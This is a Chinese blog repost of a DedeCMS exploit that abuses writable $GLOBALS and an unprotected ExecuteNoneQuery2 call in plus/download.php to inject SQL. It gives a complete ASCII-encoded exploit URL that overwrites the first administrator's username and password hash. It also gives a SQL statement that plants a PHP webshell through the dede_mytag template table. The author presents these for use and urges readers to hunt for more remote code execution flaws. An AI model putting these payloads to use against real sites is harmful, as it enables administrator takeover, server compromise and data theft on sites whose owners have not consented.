dedecms最新版本修改任意管理员漏洞

简介: http://www.unhonker.com/bug/1272.html此漏洞无视gpc转义,过80sec注入防御。

http://www.unhonker.com/bug/1272.html

此漏洞无视gpc转义,过80sec注入防御。

补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?

起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。

include /dedesql. class .php
 
if (isset( $GLOBALS [ 'arrs1' ]))
 
{
 
     $v1 = $v2 = '' ;
 
     for ( $i =0;isset( $arrs1 [ $i ]); $i ++)
 
     {
 
         $v1 .= chr ( $arrs1 [ $i ]);
 
     }
 
     for ( $i =0;isset( $arrs2 [ $i ]); $i ++)
 
     {
 
         $v2 .= chr ( $arrs2 [ $i ]);   //解码ascii
 
     }
 
     $GLOBALS [ $v1 ] .= $v2 ; //注意这里不是覆盖,是+
 
}
 
     function SetQuery( $sql )
 
     {
 
         $prefix = "#@__" ;
 
         $sql = str_replace ( $prefix , $GLOBALS [ 'cfg_dbprefix' ], $sql );  //看到这里无话可说,不明白为什么要这样做。
 
         $this ->queryString = $sql ;
 
     }

另外说下绕过80sec防注入的方法。
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。

plus/download.php

else if ( $open ==1)
 
{
 
     $id = isset( $id ) && is_numeric ( $id ) ? $id : 0;
 
     $link = base64_decode (urldecode( $link ));
 
     $hash = md5( $link );
 
//这里的#@_是可以控制的
 
     $rs = $dsql ->ExecuteNoneQuery2( "UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' " );
 
     if ( $rs ExecNoneQuery( $query );
 
     }
 
     header( "location:$link" );
 
     exit ();
 
}

构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #
完整SQL语句:
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash'

EXP:

http: //localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

如果不出问题,后台登录用户spider密码admin
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。

如果找不到后台,参见以前修改数据库直接拿SHELL的方法
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'','''');{/dede:php}' WHERE `aid` =1 LIMIT 1 ;
转自:https://www.t00ls.net/thread-23071-1-1.html

转载文章请注明,转载自:小马's Blog http://www.i0day.com

本文链接: http://www.i0day.com/1403.html

目录
相关文章
|
12月前
|
存储 SQL 安全
typecho新漏洞,强烈建立更新至最新版本!
typecho新漏洞,强烈建立更新至最新版本!
135 0
|
安全 数据库
如何修复 WordPress 定制开发中登录重定向循环?
WordPress 登录重定向循环意味着什么。WordPress 无法对您进行身份验证并授予对 WordPress 仪表板的访问权限,身份验证过程中遇到的问题使 WordPress 返回登录页面。那么如何修复 WordPress 定制开发中登录重定向循环?下面北京六翼开源的开发工程师针对这一问题的解答。
如何修复 WordPress 定制开发中登录重定向循环?
|
安全 Shell 测试技术
Shopex V4.8.4|V4.8.5下载任意文件漏洞
利用前提是程序所应用的数据库服务器而且要是可以外连的,这个很关键。 自己搞站时候遇见的站,网上找不到该版本的漏洞,自己拿回源码读了一下。 找到一个漏洞,还是发出来吧。 读取任意文件漏洞: http://www.xx.com/shopadmin/index.php?ctl=sfile&act=getDB&p[0]=. . /. . /config/config.php 复制代码可以连上数据库。
2038 0
|
安全 前端开发 Linux
网站漏洞修复网站文件任意查看漏洞详情与利用
在对网站程序代码的安全检测当中,网站文件任意查看漏洞在整个网站安全报告中属于比较高危的网站漏洞,一般网站里都会含有这种漏洞,尤其平台,商城,交互类的网站较多一些,像普通权限绕过漏洞,导致的就是可以查看到网站里的任何一个文件,甚至可以查看到网站的配置文件config.php conn.php等等。
208 0
网站漏洞修复网站文件任意查看漏洞详情与利用
|
弹性计算 安全
阿里云提示wordpress IP验证不当漏洞手动处
登录阿里云后台 有漏洞安全修复提示,级别尽快修复,同时给出ECS服务器管理重要通知:您的云服务器(xxx.xx.xxx.xx)由于被检测到对外攻击,已阻断该服务器对其它服务器端口(UDP:ALL)的访问,阻断预计将在2018-04-23 09:56:58时间内结束,请及时进行安全自查。若有疑问,请工单或电话联系阿里云售后
226 0
|
安全
如何查找网站漏洞文件任意查看漏洞详情与利用
在对网站程序代码的安全检测当中,网站文件任意查看漏洞在整个网站安全报告中属于比较高危的网站漏洞,一般网站里都会含有这种漏洞,尤其平台,商城,交互类的网站较多一些,像普通权限绕过漏洞,导致的就是可以查看到网站里的任何一个文件,甚至可以查看到网站的配置文件config.php conn.php等等。
1233 0
Confluence 6 升级自定义的站点和空间仔细测试你的修改
修改可能对 Confluence 的后续版本不兼容,当你对 Confluence 进行升级的时候,你应该总是对你自定义修改的模板文件进行仔细的测试来确定所有的修改对新版本的 Confluence 兼容。
907 0
Confluence 6 删除或禁用用户备忘
管理用户(Administer User)仅仅在你具有管理员权限的时候可见。 你也可以使用 Administration Console 来删除和禁用用户。
886 0